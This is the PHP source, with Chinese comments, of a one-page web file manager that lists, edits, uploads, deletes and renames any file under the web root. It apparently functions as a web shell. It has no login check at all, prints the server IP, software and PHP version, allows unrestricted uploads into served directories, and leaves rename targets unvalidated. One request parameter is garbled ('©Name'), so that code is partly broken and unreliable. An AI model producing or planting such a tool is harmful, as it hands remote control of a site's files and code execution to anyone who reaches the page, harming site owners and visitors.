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<?php
session_start();
// 获取网站根目录
$documentRoot = realpath($_SERVER['DOCUMENT_ROOT']);
$scriptDir = dirname(__FILE__); // 这个 PHP 文件所在目录
$rootDirectory = realpath($scriptDir . '/../'); // 这个 PHP 目录的上一级
// 解析当前访问的目录
$currentDirectory = '';
if (isset($_GET['directory'])) {
$requestedDir = $_GET['directory'];
if ($requestedDir === '') {
$currentDirectory = $documentRoot;
} else {
$requestedPath = realpath($documentRoot . '/' . $requestedDir);
if ($requestedPath !== false &&
is_dir($requestedPath) &&
strpos($requestedPath, $documentRoot) === 0) {
$currentDirectory = $requestedPath;
} else {
http_response_code(404);
die("错误：请求的目录不存在或无法访问");
}
}
} else {
$currentDirectory = $documentRoot;
}
// 确保当前目录是有效的
if (!is_dir($currentDirectory)) {
http_response_code(500);
die("错误：无法访问目录");
}
// **文件大小转换**
function human_filesize($bytes, $decimals = 2) {
$sz = array('B', 'KB', 'MB', 'GB', 'TB');
$factor = floor((strlen($bytes) - 1) / 3);
return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . " " . (isset($sz[$factor]) ? $sz[$factor] : '');
}
// **处理文件编辑**
if (isset($_GET['edit'])) {
$fileToEdit = realpath($documentRoot . '/' . $_GET['edit']);
if ($fileToEdit && strpos($fileToEdit, $documentRoot) === 0 && is_file($fileToEdit)) {
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['fileContent'])) {
file_put_contents($fileToEdit, $_POST['fileContent']);
echo "<p>✅ 文件已保存</p>";
}
$content = htmlspecialchars(file_get_contents($fileToEdit));
echo "<h2>编辑文件: " . basename($fileToEdit) . "</h2>";
echo "<form method='POST'>
<textarea name='fileContent' style='width:100%;height:300px;'>".$content."</textarea>
<button type='submit'>保存</button>
<a href='?directory=" . urlencode(str_replace($documentRoot, "", $currentDirectory)) . "'>返回</a>
</form>";
exit;
} else {
echo "<p>❌ 无法编辑文件，路径无效或文件不存在</p>";
exit;
}
}
// **文件上传**
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['uploadFile'])) {
$fileName = basename($_FILES['uploadFile']['name']);
$uploadFile = $currentDirectory . '/' . $fileName;
if (move_uploaded_file($_FILES['uploadFile']['tmp_name'], $uploadFile)) {
// 获取协议 (http 或 https)
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://';
// 获取当前域名
$host = $_SERVER['HTTP_HOST'];
// 获取当前目录的URL路径
$currentPath = str_replace('\\', '/', str_replace($documentRoot, '', $currentDirectory));
// 构建完整的文件URL
$fileUrl = $protocol . $host . $currentPath . '/' . urlencode($fileName);
// 显示成功信息和文件URL
echo "<div style='margin: 10px 0; padding: 10px; background: #e8f5e9; border: 1px solid #4caf50; border-radius: 4px;'>";
echo "<p>✅ 文件上传成功！</p>";
echo "<p>文件URL: <a href='" . htmlspecialchars($fileUrl) . "' target='_blank'>" . htmlspecialchars($fileUrl) . "</a></p>";
echo "</div>";
} else {
echo "<div style='margin: 10px 0; padding: 10px; background: #ffebee; border: 1px solid #f44336; border-radius: 4px;'>";
echo "<p>❌ 文件上传失败，请检查文件大小和权限设置</p>";
echo "</div>";
}
}
// **递归删除目录**
function deleteDirectory($dir) {
if (!file_exists($dir)) {
return false;
}
$files = array_diff(scandir($dir), array('.', '..'));
$success = true;
foreach ($files as $file) {
$path = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($path)) {
// 递归删除子目录
if (!deleteDirectory($path)) {
$success = false;
}
} else {
// 删除文件
if (!unlink($path)) {
$success = false;
}
}
}
// 删除空目录
if ($success) {
if (!rmdir($dir)) {
$success = false;
}
}
return $success;
}
// **处理批量删除文件和目录**
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['deleteFiles'])) {
$filesToDelete = json_decode($_POST['deleteFiles'], true);
$deleted = array(); // 使用array()而不是[]，兼容PHP 5.2
$errors = array(); // 使用array()而不是[]，兼容PHP 5.2
foreach ($filesToDelete as $fileName) {
$pathToDelete = realpath($currentDirectory . '/' . $fileName);
if ($pathToDelete && strpos($pathToDelete, $documentRoot) === 0) {
if (is_file($pathToDelete)) {
if (unlink($pathToDelete)) {
$deleted[] = $fileName;
} else {
$errors[] = $fileName . " (删除失败)";
}
} elseif (is_dir($pathToDelete)) {
if (deleteDirectory($pathToDelete)) {
$deleted[] = $fileName;
} else {
$errors[] = $fileName . " (目录删除失败)";
}
}
} else {
$errors[] = $fileName . " (无效的路径)";
}
}
echo json_encode(array("deleted" => $deleted, "errors" => $errors));
exit;
}
// **处理文件重命名**
if (isset($_POST['rename'])) {
$oldName = realpath($currentDirectory . '/' . $_POST['fileName']);
$newName = $currentDirectory . '/' . $_POST['copyName'];
if ($oldName && strpos($oldName, $documentRoot) === 0) {
if (rename($oldName, $newName)) {
echo json_encode(array("status" => "success", "message" => "文件已重命名")); // 使用array()而不是[]，兼容PHP 5.2
} else {
echo json_encode(array("status" => "error", "message" => "重命名失败：权限不足")); // 使用array()而不是[]，兼容PHP 5.2
}
} else {
echo json_encode(array("status" => "error", "message" => "重命名失败：文件不存在")); // 使用array()而不是[]，兼容PHP 5.2
}
exit;
}
// 获取当前目录下的文件和文件夹
$fileList = is_dir($currentDirectory) ? scandir($currentDirectory) : array(); // 使用array()而不是[]，兼容PHP 5.2
// **面包屑导航**
$breadcrumbs = array();
$pathParts = explode("/", trim(str_replace($documentRoot, "", $currentDirectory), "/"));
$pathLink = "";
$breadcrumbs[] = "<a href='?directory='>Home</a>";
foreach ($pathParts as $part) {
if (!empty($part)) {// 避免空路径部分
$pathLink .= "/" . $part;
$breadcrumbs[] = "<a href='?directory=" . urlencode($pathLink) . "'>" . htmlspecialchars($part) . "</a>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>文件管理器</title>
<style>
body { font-family: Arial, sans-serif; }
table { border-collapse: collapse; width: 100%; }
th, td { padding: 8px; text-align: left; }
th { background-color: #f2f2f2; }
tr:nth-child(even) { background-color: #f9f9f9; }
.breadcrumbs { margin: 10px 0; }
button { margin: 2px; }
</style>
</head>
<body>
<?php
// 显示服务器信息
echo "<div style='margin: 10px 0; padding: 10px; background: #f5f5f5; border: 1px solid #ddd; border-radius: 4px;'>";
echo "<div><strong>Server IP:</strong> " . $_SERVER['SERVER_ADDR'] . "</div>";
echo "<div><strong>Server Software:</strong> " . $_SERVER['SERVER_SOFTWARE'] . "</div>";
echo "<div><strong>PHP Version:</strong> " . phpversion() . "</div>";
echo "</div>";
echo "<div class='breadcrumbs'>" . implode("/", $breadcrumbs) . "</div>";
// 添加文件上传表单
echo '<form method="POST" enctype="multipart/form-data" style="margin: 10px 0;">
<input type="file" name="uploadFile" required>
<button type="submit">📤 上传文件</button>
</form>';
echo "<form id='deleteForm'>";
echo "<button type='button' onclick='toggleSelectAll()'>全选/取消全选</button>";
echo "<button type='button' onclick='deleteSelectedFiles()'>❌ 批量删除</button>";
echo "<table border='1' cellspacing='0' cellpadding='5'>";
echo "<tr><th>选择</th><th>文件名</th><th>文件大小</th><th>最后修改时间</th><th>操作</th></tr>";
foreach ($fileList as $file) {
if ($file == "." || $file == "..") continue;
$filePath = $currentDirectory . '/' . $file;
$fileSize = is_dir($filePath) ? '-' : human_filesize(filesize($filePath));
$fileDate = date("Y-m-d H:i:s", filemtime($filePath));
$fileNameHtml = htmlspecialchars($file); // 安全输出文件名
echo "<tr>";
echo "<td><input type='checkbox' class='file-checkbox' value='" . $fileNameHtml . "'></td>";
if (is_dir($filePath)) {
echo "<td>[📁] <a href='?directory=" . urlencode(str_replace($documentRoot . '/', '', $filePath)) . "'>".$fileNameHtml."</a></td>";
echo "<td>-</td><td>".$fileDate."</td>";
} else {
echo "<td>[📄] ".$fileNameHtml."</td>";
echo "<td>".$fileSize."</td><td>".$fileDate."</td>";
}
echo "<td>
<button type='button' onclick='editFile(\"" . htmlspecialchars(str_replace($documentRoot . '/', '', $filePath)) . "\")'>📝 编辑</button>
<button type='button' onclick='renameFile(\"".addslashes($fileNameHtml)."\")'>✏️ 重命名</button>
</td>";
echo "</tr>";
}
echo "</table>";
echo "</form>";
?>
<script>
function editFile(fileName) {
window.location.href = '?edit=' + encodeURIComponent(fileName);
}
function renameFile(fileName) {
var newName = prompt('请输入新的文件名:', fileName);
if (newName) {
var xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var data = JSON.parse(xhr.responseText);
alert(data.message);
location.reload();
} catch(e) {
alert('操作失败：' + xhr.responseText);
}
}
};
xhr.send('rename=1&fileName=' + encodeURIComponent(fileName) + '©Name=' + encodeURIComponent(newName));
}
}
function toggleSelectAll() {
var checkboxes = document.querySelectorAll('.file-checkbox');
var allChecked = true;
for (var i = 0; i < checkboxes.length; i++) {
if (!checkboxes[i].checked) {
allChecked = false;
break;
}
}
for (var i = 0; i < checkboxes.length; i++) {
checkboxes[i].checked = !allChecked;
}
}
function deleteSelectedFiles() {
var checkboxes = document.querySelectorAll('.file-checkbox:checked');
var selectedFiles = [];
for (var i = 0; i < checkboxes.length; i++) {
selectedFiles.push(checkboxes[i].value);
}
if (selectedFiles.length > 0 && confirm('确定要删除选中的文件吗？')) {
var xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var data = JSON.parse(xhr.responseText);
if (data.deleted && data.deleted.length > 0) {
alert('删除成功: ' + data.deleted.join(', '));
}
if (data.errors && data.errors.length > 0) {
alert('删除失败: ' + data.errors.join(', '));
}
location.reload();
} catch(e) {
alert('操作失败：' + xhr.responseText);
}
}
};
xhr.send('deleteFiles=' + encodeURIComponent(JSON.stringify(selectedFiles)));
}
}
</script>
</body>
</html>